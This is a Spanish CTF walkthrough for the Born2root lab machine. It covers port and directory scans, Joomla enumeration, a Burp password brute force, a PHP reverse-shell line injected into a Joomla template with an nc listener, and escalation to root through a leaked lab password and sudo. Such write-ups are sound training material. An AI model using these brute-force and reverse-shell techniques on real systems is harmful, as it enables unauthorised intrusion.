Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 15:50 EDT
Nmap scan report for 192.168.5.167
Host is up (0.0013s latency).
PORT
         STATE SERVICE VERSION
22/tcp
                       OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
         open ssh
ssh-hostkey:
   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
    2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
    256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
   256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp
         open http
                       Apache httpd 2.4.10 ((Debian))
| http-title: Welcome to my website
|_http-server-header: Apache/2.4.10 (Debian)
         open rpcbind 2-4 (RPC #100000)
111/tcp
 rpcinfo:
    program version
                      port/proto service
    100000 2,3,4
                       111/tcp
                                  rpcbind
   100000 2,3,4
                        111/udp rpcbind
   100000 3,4
                       111/tcp6 rpcbind
   100000 3,4
                      111/udp6 rpcbind
   100024 1
                      33682/udp
                                  status
   100024 1
                      36574/udp6 status
   100024 1
                      50581/tcp6 status
   100024 1
                      58706/tcp status
58706/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:CC:3D:4E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
TRACEROUTE
HOP RTT
           ADDRESS
   1.30 ms 192.168.5.167
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
______
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
_____
[+] Url:
                       http://192.168.5.167/
[+] Method:
                       GET
[+] Threads:
[+] Wordlist:
                       /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:
                      404
[+] User Agent:
                       gobuster/3.6
[+] Extensions:
                       html,php,txt
[+] Follow Redirect:
                      true
[+] Timeout:
                      105
______
Starting gobuster in directory enumeration mode
______
                 (Status: 403) [Size: 297]
/.htaccess
                 (Status: 403) [Size: 297]
/.htpasswd
/.htpasswd.txt
                 (Status: 403) [Size: 301]
/.htaccess.html
                (Status: 403) [Size: 302]
                 (Status: 403) [Size: 301]
/.htpasswd.php
                 (Status: 403) [Size: 302]
/.htpasswd.html
/LICENSE
                 (Status: 200) [Size: 1093]
                 (Status: 403) [Size: 301]
/.htaccess.php
                 (Status: 403) [Size: 301]
/.htaccess.txt
                 (Status: 200) [Size: 1144]
/css
                 (Status: 200) [Size: 1798]
/img
/index.html
                 (Status: 200) [Size: 8454]
                 (Status: 403) [Size: 299]
/javascript
                 (Status: 200) [Size: 1144]
/js
/manual
                 (Status: 200) [Size: 626]
/joomla
                 (Status: 200) [Size: 8471]
                 (Status: 403) [Size: 301]
/server-status
                 (Status: 200) [Size: 1766]
/vendor
Progress: 81876 / 81880 (100.00%)
______
______
Vemos varias cosas interesantes, como por ejemplo un joomla...
```

```
gobuster dir -u http://<IP>/joomla/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
______
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                     http://192.168.5.167/joomla/
                     GET
[+] Method:
[+] Threads:
                     50
[+] Wordlist:
                     /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:
[+] User Agent:
                     gobuster/3.6
[+] Extensions:
                     html,php,txt
```

```
[+] Follow Redirect:
                          true
[+] Timeout:
                          10s
Starting gobuster in directory enumeration mode
______
/.htaccess.txt
                    (Status: 403) [Size: 308]
                    (Status: 403) [Size: 308]
/.htpasswd.txt
                    (Status: 403) [Size: 309]
/.htpasswd.html
/.htpasswd
                    (Status: 403) [Size: 304]
/.htaccess.html
                    (Status: 403) [Size: 309]
                    (Status: 403) [Size: 308]
/.htpasswd.php
/.htaccess.php
                    (Status: 403) [Size: 308]
/LICENSE.txt
                    (Status: 200) [Size: 18092]
/README.txt
                    (Status: 200) [Size: 4239]
/.htaccess
                    (Status: 403) [Size: 304]
                    (Status: 200) [Size: 5326]
/administrator
                    (Status: 200) [Size: 31]
/bin
/cache
                    (Status: 200) [Size: 31]
/cli
                    (Status: 200) [Size: 31]
/components
                    (Status: 200) [Size: 31]
                    (Status: 200) [Size: 0]
/configuration.php
/htaccess.txt
                    (Status: 200) [Size: 2915]
                    (Status: 200) [Size: 31]
/images
                    (Status: 200) [Size: 31]
/includes
                    (Status: 200) [Size: 8501]
/index.php
                    (Status: 200) [Size: 31]
/layouts
                    (Status: 200) [Size: 31]
/language
/libraries
                    (Status: 200) [Size: 31]
/media
                    (Status: 200) [Size: 31]
                    (Status: 200) [Size: 31]
/modules
                    (Status: 200) [Size: 31]
/plugins
/templates
                    (Status: 200) [Size: 31]
                    (Status: 200) [Size: 31]
/tmp
Progress: 81876 / 81880 (100.00%)
_____
Finished
______
```

Si utilizamos un repositorio de GitHub para descargarnos el joomscan, haremos lo siguiente...

```
perl joomscan.pl --url http://<IP>/joomla/
```

Info:

```
(___)(__)(__)(_/)/__)/__)/__\ ((_)
--_)(_)(_)(_)(_)(_)(_)(__/__)(__/)_\ (__)(__)(_)(_)(_)(_)(_)(_)

--=[OWASP JoomScan
+---++---=[Version : 0.0.7
+---++--=[Update Date : [2018/09/23]
+---+--=[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
```

```
Processing http://192.168.5.167/joomla/ ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.6.0
[+] Core Joomla Vulnerability
[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation
CVE : CVE-2016-8870 , CVE-2016-8869
EDB : https://www.exploit-db.com/exploits/40637/
Joomla! Core Remote Privilege Escalation Vulnerability
CVE: CVE-2016-9838
EDB : https://www.exploit-db.com/exploits/41157/
Joomla! Core Security Bypass Vulnerability
CVE : CVE-2016-9081
https://developer.joomla.org/security-centre/661-20161003-core-account-
modifications.html
Joomla! Core Arbitrary File Upload Vulnerability
CVE : CVE-2016-9836
https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html
Joomla! Information Disclosure Vulnerability
CVE: CVE-2016-9837
https://developer.joomla.org/security-centre/666-20161203-core-information-
disclosure.html
PHPMailer Remote Code Execution Vulnerability
CVE : CVE-2016-10033
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer arg injection
https://github.com/opsxcq/exploit-CVE-2016-10033
EDB : https://www.exploit-db.com/exploits/40969/
PPHPMailer Incomplete Fix Remote Code Execution Vulnerability
CVE : CVE-2016-10045
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer arg injection
EDB : https://www.exploit-db.com/exploits/40969/
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.5.167/joomla/administrator/components
http://192.168.5.167/joomla/administrator/modules
http://192.168.5.167/joomla/administrator/templates
http://192.168.5.167/joomla/images/banners
```

```
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://192.168.5.167/joomla/administrator/
[+] Checking robots.txt existing
[++] robots.txt is not found
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report: reports/192.168.5.167/
Si hacemos lo siguiente...
perl joomscan.pl --url http://<IP>/joomla/administrator/ -ec
Info:
```

```
(__)(__)(__)(__)(_/)/_)/__)/__\ (_()
--_)(_)(_)(_)(_)(_)(_//_)(__/ __)(__)(_)(_)(_)
    --=[OWASP JoomScan
    +---+--=[Version : 0.0.7
    +---++--==[Update Date : [2018/09/23]
    +---++--==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.5.167/joomla/administrator/ ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.6.0
[+] Core Joomla Vulnerability
[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation
CVE : CVE-2016-8870 , CVE-2016-8869
EDB : https://www.exploit-db.com/exploits/40637/
Joomla! Core Remote Privilege Escalation Vulnerability
```

CVE: CVE-2016-9838 EDB : https://www.exploit-db.com/exploits/41157/ Joomla! Core Security Bypass Vulnerability CVE : CVE-2016-9081 https://developer.joomla.org/security-centre/661-20161003-core-accountmodifications.html Joomla! Core Arbitrary File Upload Vulnerability CVE: CVE-2016-9836 https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html Joomla! Information Disclosure Vulnerability CVE : CVE-2016-9837 https://developer.joomla.org/security-centre/666-20161203-core-informationdisclosure.html PHPMailer Remote Code Execution Vulnerability CVE : CVE-2016-10033 https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer arg injection https://github.com/opsxcq/exploit-CVE-2016-10033 EDB : https://www.exploit-db.com/exploits/40969/ PPHPMailer Incomplete Fix Remote Code Execution Vulnerability CVE : CVE-2016-10045 https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer arg injection EDB : https://www.exploit-db.com/exploits/40969/ [+] Checking Directory Listing [++] directory has directory listing : http://192.168.5.167/joomla/administrator/components http://192.168.5.167/joomla/administrator/modules http://192.168.5.167/joomla/administrator/templates http://192.168.5.167/joomla/administrator/includes http://192.168.5.167/joomla/administrator/language http://192.168.5.167/joomla/administrator/templates [+] Checking apache info/status files [++] Readable info/status files are not found [+] admin finder [++] Admin page not found [+] Checking robots.txt existing [++] robots.txt is not found [+] Finding common backup files name [++] Backup files are not found [+] Finding common log files name [++] error log is not found

```
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
[+] Enumeration component (com admin)
[++] Name: com admin
Location : http://192.168.5.167/joomla/administrator/components/com admin/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_admin/
Installed version : 3.1
[+] Enumeration component (com ajax)
[++] Name: com_ajax
Location: http://192.168.5.167/joomla/administrator/components/com ajax/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_ajax/
Installed version: 3.2
[+] Enumeration component (com banners)
[++] Name: com banners
Location: http://192.168.5.167/joomla/administrator/components/com_banners/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_banners/
Installed version : 3.1
[+] Enumeration component (com contact)
[++] Name: com_contact
Location: http://192.168.5.167/joomla/administrator/components/com contact/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_contact/
Installed version: 3.1
[+] Enumeration component (com_content)
[++] Name: com content
Location : http://192.168.5.167/joomla/administrator/components/com_content/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com content/
Installed version : 3.1
[+] Enumeration component (com contenthistory)
[++] Name: com_contenthistory
Location: http://192.168.5.167/joomla/administrator/components/com contenthistory/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_contenthistory/
Installed version : 3.2
[+] Enumeration component (com_finder)
[++] Name: com finder
Location: http://192.168.5.167/joomla/administrator/components/com_finder/
Directory listing is enabled:
```

```
http://192.168.5.167/joomla/administrator/components/com finder/
Installed version : 3.1
[+] Enumeration component (com installer)
[++] Name: com installer
Location: http://192.168.5.167/joomla/administrator/components/com installer/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com installer/
Installed version : 3.1
[+] Enumeration component (com_joomlaupdate)
[++] Name: com joomlaupdate
Location: http://192.168.5.167/joomla/administrator/components/com joomlaupdate/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com joomlaupdate/
Installed version : 3.1
[+] Enumeration component (com media)
[++] Name: com media
Location: http://192.168.5.167/joomla/administrator/components/com_media/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_media/
Installed version : 3.1
[+] Enumeration component (com_newsfeeds)
[++] Name: com newsfeeds
Location: http://192.168.5.167/joomla/administrator/components/com_newsfeeds/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com newsfeeds/
Installed version : 3.1
[+] Enumeration component (com search)
[++] Name: com search
Location: http://192.168.5.167/joomla/administrator/components/com_search/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_search/
Installed version: 3.1
[+] Enumeration component (com users)
[++] Name: com users
Location: http://192.168.5.167/joomla/administrator/components/com_users/
Directory listing is enabled:
http://192.168.5.167/joomla/administrator/components/com_users/
Installed version : 3.1
Your Report : reports/192.168.5.167/
```

Vemos que hay varias vulnerabilidades tanto de Exploit-DB como de los posibles componentes que nos descubrio...

Pero lo que haremos sera un diccionario personalizado cogiendo palabras de la propia pagina de joomla haciendo lo siguiente...

```
cewl http://<IP>/joomla > dic.txt
```

Lo que haremos sera abrir BurpSuit para tirarle un ataque de fuerza bruta con ese diccionario y con el usuario admin...

Lo que haremos sera capturar la peticion del login pasarselo al <u>Intruder</u> con ^I y de ahi cargamos el diccionario en el <u>payload</u>, despues seleccionamos la casilla del contenido de <u>password</u> y le damos al boton Add§ y despues le damos a <u>Atacar</u> en la seccion de <u>payload</u>...

![[Pasted image 20240604101628.png]]

Cuando haya acabado el ataque tendremos que ver el ultimo codigo 200 pues el anterior que sea codigo 303 sera la contraseña, se vera de la siguiente manera...

![[Pasted image 20240604101429.png]]

Por lo que ya descubrimos la contraseña travel, ahora nos iremos a logear...

Una vez dentro, nos iremos a Themes y de ahi a la opcion de Templates, dentro del mismo nos vamos a cualquier .php por ejemplo elegi index.php y estaremos en el editor para inyectar codigo y asi poder hacer una Reverse Shell...

```
$sock=fsockopen("<IP>",<PORT>);shell_exec("sh <&3 >&3 2>&3");
```

Eso lo tendremos que poner en el codigo y guardarlo, le damos a Template Preview para que se active la shell por asi decirlo y estando a la escucha...

```
nc -lvnp <PORT>
```

Una vez hecho eso tendremos una shell con www-data...

La sanitizaremos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si hacemos lo siguiente...

```
www-data@born2root:/home/tim$ find / -type f -perm -4000 -ls 2>/dev/null
138907 12 -rwsr-xr-x 1 root root 9468 Mar 28 2017
/usr/lib/eject/dmcrypt-get-device
144166 356 -rwsr-xr-- 1 root messagebus 362672 Nov 21 2016 /usr/lib/dbus-
```

```
1.0/dbus-daemon-launch-helper
144700 552 -rwsr-xr-x 1 root
                                  root
                                            562536 Nov 19 2017
/usr/lib/openssh/ssh-keysign
155634 176 -rwsrwxrwx 1 root
                                            176400 Sep 8 2017 /usr/bin/sudo
                                  root
  696
       40 -rwsr-xr-x 1 root
                                  root
                                             38868 May 17 2017 /bin/su
                                             26344 Mar 29 2015 /bin/umount
  1698
      28 -rwsr-xr-x 1 root
                                  root
  1697
       36 -rwsr-xr-x 1 root
                                             34684 Mar 29 2015 /bin/mount
                                  root
```

Veremos esta linea...

```
155634 176 -rwsrwxrwx 1 root root 176400 Sep 8 2017 /usr/bin/sudo
```

Por lo que podemos escribirlo, editarlo y ejecutarlo como si fuera root, pero no se puede hacer mucho...

Si nos vamos a /opt/scripts/ veremos un archivo llamado fileshare.py con los siguientes permisos...

```
-rwxr-xr-x 1 tim tim 445 Feb 28 2019 fileshare.py
```

Pertenece a tim por lo que tendremos que explotarlo para ser tim...

Si leemos el script de python veremos lo siguiente...

```
#!/usr/bin/env python
import sys, paramiko
if len(sys.argv) < 5:</pre>
    print "args missing"
    sys.exit(1)
hostname = "localhost"
password = "lulzlol"
source = "/var/www/html/joomla"
dest = "/tmp/backup/joomla"
username = "tim"
port = 22
try:
    t = paramiko.Transport((hostname, port))
    t.connect(username=username, password=password)
    sftp = paramiko.SFTPClient.from transport(t)
    sftp.get(source, dest)
finally:
   t.close()
```

Vemos que muestra una password por lo que probaremos a insertarla en el usuario tim...

Credentials

```
User = tim
Password = lulzlol
```

Con esto ya seriamos tim...

Si hacemos sudo -1 veremos lo siguiente...

```
Matching Defaults entries for tim on born2root:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin

User tim may run the following commands on born2root:
    (ALL: ALL) ALL
```

Con esto podremos ser root, haciendo lo siguiente...

sudo su

Una vez siendo root leeremos la flag...

flag.txt (flagfinal)

```
.andAHHAbnn.
           .aAHHHAAUUAAHHHAn.
          dHP^~" "~^THb.
   . .AHF YHA. . | .AHHb. .dHHA. | | HHAUAAHAbn adAHAAUAHA | | I HF~"____ ]HHH I
   HHI HAPK""~^YUHb dAHHHHHHHHH IHH
   HHI HHHD> .andHH HHUUP^~YHHHH IHH
   YUI ]HHP "~Y P~" THH[ IUP
    " `HK
                            ]HH'
        THAn. .d.aAAn.b. .dHHP
        ]HHHHAAUP" ~~ "YUAAHHHH[
        `HHP^~" .annn. "~^YHH'
         YHb ~" "" "~ dHF
          "YAb..abdHHbndbndAP"
           THHAAb. .adAHHF
            "ИННННННННН"
              ]HHUUHHHHHH[
            .adHHb "HHHHHbn.
     ..andAAHHHHHHb.AHHHHHHHAAbnn..
.ndAAHHHHHHUUHHHHHHHHHHHHHP^~"~^YUHHHAAbn.
  "~^YUHHP" "~^YUHHUP"
                          "^YUP^"
                 "~~"
W00t w00t ! If you are reading this text then Congratulations !!
I hope you liked the second episode of 'Born2root' if you liked it please ping me in
Twitter @h4d3sw0rm .
If you want to try more boxes like this created by me , try this new sweet lab called
'Wizard-Labs' which is a platform which hosts many boot2root machines to improve your
pentesting skillset https://labs.wizard-security.net !
Until we meet again :-)
```